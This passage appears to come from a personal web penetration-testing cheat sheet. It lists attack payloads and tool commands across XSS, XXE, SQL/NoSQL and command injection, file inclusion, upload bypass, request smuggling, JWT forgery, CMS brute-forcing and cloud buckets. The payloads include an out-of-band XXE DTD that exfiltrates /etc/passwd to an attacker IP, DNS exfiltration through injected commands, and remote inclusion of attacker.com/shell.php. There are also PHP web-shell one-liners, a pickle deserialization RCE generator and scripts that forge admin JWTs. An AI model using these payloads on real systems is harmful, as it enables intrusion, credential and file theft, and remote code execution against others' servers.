'"><svg/onload=alert()>{{7*7}} #DOM blopblop</option></select><img src="" onerror="alert('lmao')"> German#<script>alert('LMAO')</script> #Blacklist bypass 1. " for ' and vice versa according to where injection lands 1. alert(1) for (confirm)(1) or confirm`1` or confirm(1) or print() 2. // for <!-- 3. spaces for / or %0A, %0C or %0D. ``` ``` https://netsec.expert/posts/xss-in-2021/ ``` ```sh https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection ``` ``` https://github.com/s0md3v/XSStrike ``` ``` https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot ``` <a name="xxe"></a><h3>XXE</h3> ```xml <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>%26test%3B</root> ``` ``` https://backtrackacademy.com/articulo/explorando-la-vulnerabilidad-xxe-xml-external-entity ``` ``` https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection ``` ```bash # Example Let's say the web sends this Content-type: application/json {"message":"135601360123502401401250"} ``` ```xml # Changing the content type to /xml we see an error of XML, which means we can actually inject XML, rather than JSON. # Let's format the above json to XML, the result is the same as the original request with JSON. So we # are actually sending XML, which means a pontentially XXE vuln. <!--?xml version="1.0" ?--> <!DOCTYPE message [ <!ELEMENT message ANY> ]> <message>135601360123502401401250</message> # Another payload to do the same: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE message [ <!ELEMENT message (#PCDATA)> <!ENTITY id '135601360123502401401250'> ]> <message>&id;</message> # Cool, let's try to load a file from another server <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE message [ <!ELEMENT message (#PCDATA)> <!ENTITY id '135601360123502401401250'> <!ENTITY % dtd SYSTEM "https://google.com"> %dtd; ]> <message>&id;</message> # But it won't work , our url is reflected in the response tho. # We can try to load local files with: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE message [ <!ELEMENT message (#PCDATA)> <!ENTITY id '135601360123502401401250'> <!ENTITY % dtd SYSTEM "/etc/passwd"> %dtd; ]> <message>&id;</message> # But, again, nothing , this time we get a markup error. # Abusing both errors we can force a markup error, read the flag, and send the error to display in the response. <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE message [ <!ELEMENT message (#PCDATA)> <!ENTITY id '135601360123502401401250'> <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamso ' <!ENTITY &#x25; file SYSTEM "file://flag"> <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>"> &#x25;eval; &#x25;error; '> %local_dtd; ]> <message>&id;</message> ``` <a name="xxe-oob"></a><h3>XXE-OOB</h3> ``` If we can't see the response or ran into character/file restrictions we have to do OOB attacks. We have to define a DTD( Document Type Definition) to perform an OOB-XXE. A DTD is a well-structured XML file, it will contain all of our attack/exfil payloads, which will help us get around a lot of the character limitations. # ATTACK STAGES: -1. Modified XXE XML Attack -2. Vulnerable XML parser grab a DTD file from an Attacker's Server. -3. DTD file contains code to read the /etc/passwd file -4. DTD file contains code to exfil the contents of the data out (potentially encoded) ``` payload.dtd ```xml <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> <!ENTITY % all "<!ENTITY send SYSTEM 'http://[your_ip]:8888/collect=%file;'>"> %all; ``` Prepare netcat ``` nc -lp 8888 ``` Prepare web server ``` python -m SimpleHTTPServer 80 ``` BURP ```xml <?xml version="1.0"?><!DOCTYPE thp [<!ELEMENT thp ANY ><!ENTITY % dtd SYSTEM "http://[your_ip]/payload.dtd"> %dtd;]><thp><error>%26send%3B</error></thp> ``` <a name="sqlinjection"></a><h3>SQL Injection</h3> ```bash http://url.com/cat.php?id=2%20union%20select%201,table_name,3,4%20from%20information_schema.tables ``` Detection of an SQL injection entry point Simple characters ```sql ' %27 " %22 # %23 ; %3B ) Wildcard (*) ``` Multiple encoding ```sql %%2727 %25%27 ``` Merging characters ```sql `+HERP '||'DERP '+'herp ' 'DERP '%20'HERP '%2B'HERP ``` Logic Testing ```sql page.asp?id=1 or 1=1 -- true page.asp?id=1' or 1=1 -- true page.asp?id=1" or 1=1 -- true page.asp?id=1 and 1=2 -- false ``` Weird characters ```sql Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was transformed into U+0022 QUOTATION MARK (") Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was transformed into U+0027 APOSTROPHE (') ``` ``` https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection ``` ``` https://support.portswigger.net/customer/portal/articles/2791040-using-burp-with-sqlmap ``` ``` https://github.com/RhinoSecurityLabs/SleuthQL find . -name "*.txt" -exec sqlmap --batch -r {} \; ``` <a name="nosql"></a><h3>NoSQL Injection</h3> ``` Vulnerabilities in NoSQL injections typically occur when: (1) the endpoint accepts JSON data in the request to NoSQL databases, and (2) we are able to manipulate the query using NoSQL comparison operators to change theNOSQL query. A common example of a NoSQL injection would be injecting something like: [{"$gt":""}] -> This JSON object is basically saying that the operator ($gt) is greater than NULL ("") Since logically eveything is greater than NULL, the JSON object becomes a true statement, allowing us to bypass or inject into NoSQL queries. This would be equivalent to [' or 1=1--] in SQL injection world. In MongoDB, we can use one of the following conditional operators: - (>) greater than - $gt - (<) less than - $lt - (>=) greater than equal to - $gte - (<=) less than equal to - $lte ``` ``` # Example: 1-> {"username":"admin","password":"admin"} 2-> {"username":"admin","password":{"$gt":""}} username=admin&password[$gt]=&submit=login username[$gt]=admin&password[$gt]=&submit=login ``` <a name="commandinjection"></a><h3>Command Injection</h3> ``` https://www.owasp.org/index.php/Command_Injection ``` ``` # Common injections && | ; `ls` # `` $(ls) # $() ls; id # ; Chain commands ls||id; ls ||id; ls|| id; ls || id # Execute both ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe) ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º ls %0A id # %0A Execute both (RECOMMENDED) assert() error. -> /?name=hacker'.system("cmd").' eval() ruby error. -> /?username=hacker"%2b`whoami`%2b" ``` ``` # DNS exfiltration Example: Let's say we have a webpage with command injection vuln, we can exploit it using "&". dnschef --fakeip=10.10.10.106 -i your_ip --logfile=exfil [ Setup fake DNS server ] tail -f exfil | grep --line-buffered cooking | cut -d' ' -f11 [ Parse output file ] Injection: & nslookup this.is.a.test your_ip If we see the "this.is.a.test" string in our fake DNS, the server is vulnerable. Windows exfiltration: & for /f "usebackq tokens=1,2 delims=\" %i in (`whoami`) do nslookup %i_%j your_ip ``` <a name="csrf"></a><h3>CSRF</h3> ``` Example: * Select a request anywhere in Burp Suite Professional that you want to test or exploit. * From the right-click context menu, select Engagement tools / Generate CSRF PoC. * Burp Suite will generate some HTML that will trigger the selected request (minus cookies, which will be added automatically by the victim's browser). * You can tweak various options in the CSRF PoC generator to fine-tune aspects of the attack. You might need to do this in some unusual situations to deal with quirky features of requests. * Copy the generated HTML into a web page, view it in a browser that is logged in to the vulnerable web site, and test whether the intended request is issued successfully and the desired action occurs. ``` ``` # Anti-CSRF token on automated tasks with burp https://portswigger.net/support/using-burp-suites-session-handling-rules-with-anti-csrf-tokens ``` ``` https://www.imperva.com/learn/application-security/csrf-cross-site-request-forgery/ ``` ``` https://www.owasp.org/index.php/Testing_for_CSRF_(OTG-SESS-005) ``` ``` https://support.portswigger.net/customer/portal/articles/1965674-using-burp-to-test-for-cross-site-request-forgery-csrf- ``` <a name="ssrf"></a><h3>SSRF</h3> ``` https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978 https://github.com/swisskyrepo/SSRFmap ``` <a name="ssti"></a><h3>SSTI</h3> ``` https://github.com/epinna/tplmap * Marks the injection point python tplmap.py -u "http://chat:3000/ti?user=*&comment=*&link=*" ``` ``` #Popular Template Engines •PHP –Smarty, Twigs •JAVA –Velocity, Freemaker •Python –JINJA, Mako, Tornado •JavaScript –Jade, Rage •Ruby -Liquid ``` ``` # Payloads Same as XSS (If you find a xss try SSTI too) <%=+7*7+%> <%=+system("cat+/home/carlos/morale.txt")+%> ${7*7} {{7*7}} {{7*7'}} a{*comment*}b ${"z".join("ab")} ``` <a name="localfileinclusion"></a><h3>LFI - Local File Inclusion</h3> ``` https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion https://sushant747.gitbooks.io/total-oscp-guide/content/local_file_inclusion.html ``` ``` ../../../etc/passwd ../../../etc/passwd%00 %252e%252e%252fetc%252fpasswd ..///////..////..//////etc/passwd ….//….//….//….//etc/passwd ../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\. ../../../../[…]../../../../../etc/passwd expect://whoami data:text/plain;,<?php echo shell_exec($_GET['cmd']);?> php://filter/convert.base64-encode/resource=index.php ``` ``` https://github.com/P0cL4bs/Kadimus ``` <a name="fileinclusion"></a><h3>RFI - Remote File Inclusion</h3> ``` To avoid extensions you cand append a null byte: %00 http://192.168.1.34/vulnerabilities/fi/?page=https://www.attacker.com/shell.php http://192.168.1.34/vulnerabilities/fi/?page=HTTPS://www.attacker.com/test.txt%00 http://192.168.1.34/vulnerabilities/fi/?page=file:///E:\xampp\htdocs\prueba.txt ``` <a name="fileupload"></a><h3>File Upload Bypass</h3> ``` Set filename to sleep(10)-- -.jpg and you may be able to achieve a SQL injection shell.png.png [ Intercep with burp and change to shell.php ] shell.php [ Content-Type from octect/stream to image/jpeg ] shell.php [ Content-Type to image/gif and start the file with GIF89a;] shell.php5 shell.php4 ... shell.PhP shell.phP shell.pht ... shell.php;jpeg [ , & | ] shell.php/./././[...] shell.php ... ...... [ Add spaces or dots ] shell.php.sfdfwewfejpg shell.php%001.jpg or shell.php\x00.jpg [ Alternative: shell.phpD.jpg , RAW, 44 to 00 ] ../../../../logo.jpg [ Maybe you can replace webpage images ] exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' myFile.jpeg mv myFile.jpeg myFile.php.jpeg https://thibaudrobin.github.io/articles/bypass-filter-upload/ ``` ``` # Allows .svg ? <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript"> alert(document.domain); </script> </svg> ``` ``` # Allows .zip? , then create a symbolic link ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt ``` <a name="clickjacking"></a><h3>Clickjacking</h3> ```html <html> <head> <title>Clickjack test page</title> </head> <body> <p>Website is vulnerable to clickjacking!</p> <iframe src="https://domain_to_test/" width="500" height="500"></iframe> </body> </html ``` Clickjacking to XSS :-) ``` <b onmouseover=alert('Wufff!')>click me!</b> <isindex x="javascript:" onmouseover="alert(XSS)">click me! <input type="text" value="" Onblur=alert(666) size="30"> <meter value=2 min=0 max=10 onmouseover=alert(1)>2 out of 10</meter> <img ismap= itemtype='yyy style=width:100%;height:100%;position:fixed;left:\ 0px;top:0px; onmouseover=alert(/XSS/)//'> <img ismap=itemtype=yyy style=width:100%;height:100%;position:fixed;left:0px;top\ :0px; onmouseover=alert(/XSS/)//> <a href="#" onclick="alert(1)"> //If the user clicks in the next <a> the alert will be executed ``` <a name="sessionfixation"></a><h3>Session Fixation</h3> ``` Example: We have an URL like this -> http://localhost:8080/bankLOLZ/?sessionID=34564KINIU2UV24U3V4QWDE33T In the sessionID, we can try replacing numbers or letters ( We craft our own sessionID ) , we send the link to the victim, the victim logs in using our crafted URL with our sessionID, once the victim logs in, we can use the same sessionID. We do a get petition with burp to some place in the web app, like this. -> http://localhost:8080/bankLOLZ/accountManagement/victims_name And we are in the web app using victim's account. ``` <a name="javaplatform"></a><h3>Java Platform</h3> - https://github.com/joaomatosf/jexboss ```sh python jexboss.py -u https://domain/index.action ``` <a name="javaplatform"></a><h3>Log4shell</h3> ``` # Try in different headers X-Api-Version: ${jndi:ldap://127.0.0.1.COLLABORATOR_URL} ``` ``` # BURP EXTENSION https://portswigger.net/bappstore/186be35f6e0d418eb1f6ecf1cc66a74d ``` CLI - TOOL - https://github.com/fullhunt/log4j-scan <a name="javaplatform"></a><h3>Padding Oracle</h3> - https://github.com/GDSSecurity/PadBuster - https://github.com/mwielgoszewski/python-paddingoracle <a name="ldapinjection"></a><h3>LDAP injection</h3> ``` --> example.php?name=hacker&password=hacker Inversed querys give different results --> example.php?name=*)(objectClass=*&password=hacker --> example.php?name=*)(!(objectClass=*)&password=hacker # auth bypass --> example.php?name=hacker)(cn=*))%00&password=hacker ``` <a name="hostheaderinjection"></a><h3>Host header injection</h3> ``` Host: example.com -> Host: microsoft.com ``` ``` Different web server behaves differently for duplicate http host header, NGINXuses last host header to identify the request, Apache/IIS concatenates. Host: example.com Host: microsoft.com ``` ``` Host: example.com X-Forwarded-Host: microsoft.com ``` <a name="webcachepoisoning"></a><h3>Web Cache Poisoning</h3> ``` https://portswigger.net/blog/practical-web-cache-poisoning ``` ``` GET /en?dontpoisoneveryone=1 HTTP/1.1 Host: www.redhat.com X-Forwarded-Host: a."><script>alert(1)</script> HTTP/1.1 200 OK Cache-Control: public, no-cache … <meta property="og:image" content="https://a."><script>alert(1)</script>"/> ``` <a name="openredirect"></a><h3>Open Redirect</h3> ``` https://s0cket7.com/open-redirect-vulnerability/ ``` ``` # If the redirection is made, then it's vulnerable /red.php?url=https://example.com https://example.com ``` ```bash # Try injectin in Referer header Referer: http://sexy_malicious_hacker.com Referer: &#x68;&#x74;&#x74;&#x70;&#x73;&#x3A;&#x2F;&#x2F;&#x77;&#x77;&#x77;&#x2E;&#x71;&#x75;&#x61;&#x6C;&#x79;&#x73;&#x2E;&#x63;&#x6F;&#x6D; ``` <a name="httpsmuggling"></a><h3>HTTP Smuggling</h3> ``` https://portswigger.net/web-security/request-smuggling ``` ```bash # Smuggler.py is a small tool used to test that python smuggler.py -h ``` ``` # Send twice, on the second response we should see the vulnerability POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 13 Transfer-Encoding: chunked 0 SMUGGLED ``` ``` POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 3 Transfer-Encoding: chunked 8 SMUGGLED 0 ``` ``` POST / HTTP/1.1 Host: example.com Content-Length: 6 Transfer-Encoding: chunked 0 GPOST / HTTP/1.1 Host: example.com ``` ``` POST / HTTP/1.1 Host: example.com Content-Length: 3 Transfer-Encoding: chunked 6 PREFIX 0 POST / HTTP/1.1 Host: example.com ``` ``` # Hiding our Transfer-encoding Transfer-Encoding: xchunked Transfer-Encoding : chunked Transfer-Encoding: chunked Transfer-Encoding: x Transfer-Encoding:[tab]chunked GET / HTTP/1.1 Transfer-Encoding: chunked X: X[\n]Transfer-Encoding: chunked Transfer-Encoding : chunked ``` <a name="cors"></a><h3>CORS</h3> ``` # Request Origin: http://domain_auditing.evil.net # Response Access-Control-Allow-Origin: http://domain_auditing.evil.net ``` ``` # Request /OPTIONS Origin: http://example.com Access-Control-Request-Method: DELETE # Response Access-Control-Allow-Origin: http://example.com Access-Control-Allow-Methods: PUT, POST, DELETE ``` <a name="idor"></a><h3>IDOR</h3> ```bash # Bypass restrictions using parameter pollution # You can use the same parameter several times api.example/profile?UserId=123 # Ok, your profile api.example/profile?UserId=456 # ERROR api.example/profile?UserId=456&UserId=123 # OK, it can work ``` ```bash # Tips # - Some encoded/hashed IDs can be predictable --> Create accounts to see # - Try some id, user_id, message_id even if the application seems to not offer it (on API for ex) # - Parameter Polluttion (HPP) # - Switch between POST and PUT to bypass potential controls # - ``` <a name="saml"></a><h3>SAML</h3> ``` https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/ ``` <a name="cms"></a><h3>CMS</h3> ```bash https://github.com/anouarbensaad/vulnx ``` - Tomcat ``` /examples/jsp/%252e%252e/%252e%252e/manager/html ``` ```bash tomcat tomcat admin admin manager admin password admin s3cret ``` - Multipurpose ``` https://github.com/Tuhinshubhra/CMSeeK ``` ``` https://github.com/Dionach/CMSmap ``` - Wordpress ``` # Scan plugins and users wpscan --url http://ip/wp/ -eu ``` ``` # Bruteforce login wpscan --url IP -U 'admin ' -P /usr/share/wordlists/rockyou.txt --max-threads 50 ``` ``` # 404.php path reminder (I always forget xd) http://10.10.252.204/wp-content/themes/twentyfifteen/404.php ``` ``` https://gf.dev/wordpress-security-scanner https://sitecheck.sucuri.net/ ``` ``` https://github.com/m4ll0k/WPSeku ``` ``` https://github.com/Jamalc0m/wphunter ``` ``` https://github.com/10up/wp-vulnerability-scanner ``` ``` https://github.com/RamadhanAmizudin/Wordpress-scanner ``` - Joomla ``` #https://github.com/drego85/JoomlaScan python joomlascan.py -u URL ``` ``` # Scan Joomla - version docker disponible joomlavs --url www.monsite.com -v # Enumeration joomlavs --url www.monsite.com -a # All joomlavs --url www.monsite.com -c # Composants joomlavs --url www.monsite.com -m # Modules joomlavs --url www.monsite.com -t # Templates joomlavs --url www.monsite.com -q # Quiet : full passif ``` - Drupal ``` https://github.com/droope/droopescan ``` ``` ./droopescan scan drupal -u http://example.org/ -t 32 ``` <a name="crlf"></a><h3>CRLF</h3> ``` Request: /%0d%0aLocation:%20http://myweb.com Response: Location: http://myweb.com ``` ``` http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E ``` <a name="websockets"></a><h3>WebSockets</h3> The difference between a websocket and a HTTP petition is the following: WebSockets -> Keep the connection active HTTP -> Makes petition, closes connection. ```bash # Manipulating WebSocket messages to exploit vulnerabilities # Send msg , it might be html encoded, just edit the request in burp again. {message":"&lt;img src=1 onerror=&#39;alert(1)&#39;&gt;"} # Like so {"message":"<img src=1 onerror='alert(1)'>"} ``` ```bash # Manipulating the WebSocket handshake to exploit vulnerabilities # In some cases the WebSockets might have some protecctions {"error":"Attack detected: Event handler"} # If your IP gets blacklisted try to add the following in the request :P X-Forwarded-For: 1.1.1.1 # Then just try with some XSS bypasses <iframe src='jAvAsCripT:alert`1`'></iframe> ``` <a name="jwt"></a><h3>JWT</h3> ```bash # Automated tool and exploitation helper https://github.com/ticarpi/jwt_tool ``` ```bash # Make sure to add == if needed when decoding, and delete them when pasting in burp. # Cookie auth: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRyM21iMCIsImlhdCI6IjE1ODM1MzE4NjQifQ==.MjM0ZDRlMTM3YWZkZWRiYTliYWM3ZWUyZDk5ZmE3MTViYmY4NWM1NzA5ZTUwMTkxYjY3NDFiNzkwNjk0NWQxOA # Decode as: "alg":"HS256","typ":"JWS"}.{"login":"tr3mb0","iat":"1583531864"}.234d4e137afdedba9bac7ee2d99fa715bbf85c5709e50191b6741b7906945d1OA # Change to: {"alg":"None","typ":"JWS"}.{"login":"admin","iat":"1583531864"}.234d4e137afdedba9bac7ee2d99fa715bbf85c5709e50191b6741b7906945d1OA # Encode again & admin! 8-) ``` ```bash # Cracking JWT secret, HS256 algorithm. https://github.com/brendan-rius/c-jwt-cracker # Hashcat - dicc hashcat -a0 -m 16500 hash.txt dicc.txt # Hashcat pure bruteforce hashcat -a3 -m 16500 hash.txt # After retrieving the secret, let's forge our JWT to authenticate as ADMIN. # From terminal run: gem install jwt irb require 'jwt' payload = {"user":"admin"} JWT.encode payload, "your_secret_here", "HS256" # GG! ``` #KID parameter injection: KID is used to retrieve a file from the system or a DB. ```python import json from sys import version_info import base64 import hashlib import hmac header = {"typ":"JWT","alg":"HS256","kid":"../../../../../../../../../../dev/null"} key="" payload = {"user":"admin"} str = base64.urlsafe_b64encode(bytes(json.dumps(header),encoding='utf8')).decode('utf8').rstrip("=")+"."+base64.urlsafe_b64encode(bytes(json.dumps(payload),encoding='utf8')).decode('utf8').rstrip("=") sig = base64.urlsafe_b64encode(hmac.new(bytes(key,encoding='utf8'),str.encode('utf8'),hashlib.sha256).digest()).decode('utf8').rstrip("=") print (str+"."+sig) ``` Rather than , getting admin access, maybe we have rce. ```python # eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6IjAwMDEifQ.eyJ1c2VyIjpudWxsfQ.spzCikhspCdf6XAUci3R4EpJOH6gvZcvkDCVrkGbx7Y # {"typ":"JWT","alg":"HS256","kid":"0001"fQ.{"user":nullfQ.²œÂŠHl¤'_épr-ÑàJI8~ ½—/0•®A›x7Y import json import base64 import hashlib import hmac header = {"typ":"JWT","alg":"HS256","kid":"|whoami"} payload = {"user":"whatevah"} key = "lmaowtf" str = base64.urlsafe_b64encode(bytes(json.dumps(header),encoding='utf8')).decode('utf8').rstrip("=")+"."+base64.urlsafe_b64encode(bytes(json.dumps(payload),encoding='utf8')).decode('utf8').rstrip("=") sig = base64.urlsafe_b64encode(hmac.new(bytes(key,encoding='utf8'),str.encode('utf8'),hashlib.sha256).digest()).decode('utf8').rstrip("=") print (str+"."+sig) ``` <a name="gwt"></a><h3>GWT</h3> ``` https://srcincite.io/blog/2017/04/27/from-serialized-to-shell-auditing-google-web-toolkit.html#research ``` <a name="graphql"></a><h3>GraphQL</h3> Formatted (Modern versions) ```bash {"query":"query IntrospectionQuery {\r\n __schema {\r\n queryType { name }\r\n mutationType { name }\r\n subscriptionType { name }\r\n types {\r\n ...FullType\r\n }\r\n directives {\r\n name\r\n description\r\n args {\r\n ...InputValue\r\n }\r\n locations\r\n }\r\n }\r\n }\r\n\r\n fragment FullType on __Type {\r\n kind\r\n name\r\n description\r\n fields(includeDeprecated: true) {\r\n name\r\n description\r\n args {\r\n ...InputValue\r\n }\r\n type {\r\n ...TypeRef\r\n }\r\n isDeprecated\r\n deprecationReason\r\n }\r\n inputFields {\r\n ...InputValue\r\n }\r\n interfaces {\r\n ...TypeRef\r\n }\r\n enumValues(includeDeprecated: true) {\r\n name\r\n description\r\n isDeprecated\r\n deprecationReason\r\n }\r\n possibleTypes {\r\n ...TypeRef\r\n } \r\n } \r\n \r\n fragment InputValue on __InputValue {\r\n name\r\n description\r\n type { ...TypeRef }\r\n defaultValue\r\n } \r\n \r\n fragment TypeRef on __Type {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n }\r\n }\r\n } \r\n \r\n }"} ``` GraphQL Raider (Modern Versions) ( check "query" tag on formatted query ) ```bash query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description args { ...InputValue } locations } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name } } } ``` GraphQL Raider (Older Versions) ( check "query" tag on formatted query ) ```bash query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description args { ...InputValue } onOperation onFragment onField } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name } } } } ``` From the above input we saw: ```bash "name":"whatever", *snip* "kind":"OBJECT" "name":"WhatEver" ``` Let's get info from value ```bash {"operationName":"whatever","variables":{"offset":10},"query":"query whatever($offset: Int) {\n whatever(offset: $offset, limit: 10) {\n id\n value\n __typename\n }\n}\n"} ``` <a name="mongodb"></a><h3>MongoDB</h3> ```bash # Auth bypass - NoSQLi Normal sql: ' or 1=1-- - Mongo sql: ' || 1==1// or ' || 1==1%00 --------------------- # Auth bypass #in URL username[$ne]=toto&password[$ne]=toto username[$exists]=true&password[$exists]=true #in JSON {"username": {"$ne": null}, "password": {"$ne": null} } {"username": {"$ne": "foo"}, "password": {"$ne": "bar"} } {"username": {"$gt": undefined}, "password": {"$gt": undefined} } ``` <a name="AWS"></a><h3>AWS</h3> ```bash https://github.com/aws/aws-cli # Find AWS bucket //xyz.s3.amazonaws.com/obappm13cw00/optimy/print.css # Connect without creds and list aws s3 ls s3://xyz --no-sign-request # Upload file without creds aws s3 mv hacked.txt s3://xyz/hacked.txt --no-sign-request ``` ```bash # Connect with creds aws configure ``` ```bash https://github.com/RhinoSecurityLabs/pacu > set_keys > list ``` <a name="link_finder"></a><h3>Link finder</h3> ``` ### GoSpider ### https://github.com/jaeles-project/gospider # Also get URLs from 3rd party (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com) gospider -s "https://google.com/" -o output -c 10 -d 1 --other-source # Add cookies -H "Accept: */*" -H "Test: test" --cookie "testA=a; testB=b" ``` ```bash ### LINKFINDER ### # STEP 1 After your normal crawling through the web, right click your domain -> Engagement tools -> Find scripts -> export # STEP 2 Download and install: https://github.com/GerbenJavado/LinkFinder # STEP 3 python linkfinder.py -i burpfile -b as an alternative to burp suite: ( Analyze the entire domain and its js ) python linkfinder.py -i https://example.com -d ``` <a name="misc"></a><h2> Misc - Other Tests </h2> <a name="ecbencrypt"></a><h3>ECB Encryption</h3> ``` https://github.com/bryanroma/ECB_pwnage ``` <a name="wafwoof"></a><h3>WAF</h3> ``` https://waf-bypass.com/ ``` ```bash # WAFWOOF wafw00f https://example.com ``` ```bash # INDENTYWAF https://github.com/stamparm/identYwaf ``` <a name=""></a><h3>Find real IP behing WAF</h3> ```bash # Your target is behind a WAF? Do you need to find the real IP? Fear no more # Get in the website, search by host: https://crt.sh/ -> subdomain.domain.com # Click the `crt.sh ID`, you will see juicy info there. But let's # copy the `SHA-256(Certificate)` , and go to censys.io # Search by `certificates` and paste there the SHA-256, next, on the right side click `explore` # then `IPV4 Hosts` and with a bit of luck you will get the real IP behind the WAF ``` <a name="vpn"></a><h3>VPN</h3> ``` # -M : Tabbed output # -A : Aggressive mode # -P<filename> : Filename to write to the pre-shared key # -d : Destination UDP port ike-scan -M -A IP -d 500 --id=blop -Pkey # Crack key psk-crack -d /usr/share/wordlists/rockyou.txt key ``` <a name="api"></a><h3>API</h3> ``` https://labs.detectify.com/2021/08/10/how-to-hack-apis-in-2021/ ``` ``` # JSON API, try to inject xml to archive XXE https://blog.netspi.com/playing-content-type-xxe-json-endpoints/ ``` ```bash # Sometimes hidden parameters are set on pages # You can use tools like Arjun to find them (https://github.com/s0md3v/Arjun) python3 arjun.py -u https://api.example.com/endpoint --get # Multi threading python3 arjun.py -u https://api.example.com/endpoint --get -t 22 # Delay between requests python3 arjun.py -u https://api.example.com/endpoint --get -d ``` ```bash # Found an API KEY?, let's check if it's valid somewhere https://github.com/streaak/keyhacks ``` <a name="captcha"></a><h3>CAPTCHA</h3> * Do not send the parameter related to the captcha * Check if the value of the captcha is in the source code * Check if the value is inside the cookie * Check if you can send the correct value one time and use this value with the same sessionID * Check manually or with a command how many images are being used and if only a few images are being used, detect them by MD5 * Use an OCR (https://github.com/tesseract-ocr/tesseract) ```python import pytesseract import sys import argparse try: import Image except ImportError: from PIL import Image from subprocess import check_output def resolve(path): print("Resampling the Image") check_output(['convert', path, '-resample', '600', path]) return pytesseract.image_to_string(Image.open(path)) if __name__=="__main__": argparser = argparse.ArgumentParser() argparser.add_argument('path',help = 'Captcha file path') args = argparser.parse_args() path = args.path print('Resolving Captcha') captcha_text = resolve(path) print('Extracted Text',str(captcha_text.replace('\n', ''))) ``` ``` https://medium.com/secjuice/decode-bypass-captcha-9f17edf469b4 ``` <a name="favup"></a><h3>Favicon Recon</h3> ``` # Find real IP with shodan and Favicon https://github.com/pielco11/fav-up.git # Find backend with Favicon https://github.com/devanshbatham/FavFreak ``` <a name="picklerick"></a><h3>Pickle RCE</h3> ```python #!/usr/bin/python # # Pickle deserialization RCE payload. # To be invoked with command to execute at it's first parameter. # Otherwise, the default one will be used. # import cPickle import sys import base64 DEFAULT_COMMAND = "whoami" COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMAND class PickleRce(object): def __reduce__(self): import os return (os.system,(COMMAND,)) print base64.b64encode(cPickle.dumps(PickleRce())) ``` <a name="git"></a><h3>.git dir found</h3> ```bash # In case you find a .git repo: ./gitdumper.sh http://victim/.git/ local_dump # Then , you might see a file called index, from that dir run: git ls-files --stage # Now you have a list of files and their objects ID's, to read de source code run: git cat-file -p object_id # After checking the files, check the logs git log # If you find an interesting old commit git revert COMMIT_HASH ``` <a name="extra"></a><h2> Extra </h2> <a name="mantra"></a><h3>Mantra OWASP</h3> ``` apt-get install owasp-mantra-ff ``` <a name="ibangenerator"></a><h3>IBAN Generator</h3> ``` http://randomiban.com/?country=Spain ``` <a name="privacytools"></a><h3>Privacytools</h3> ``` https://www.privacytools.io/ ```
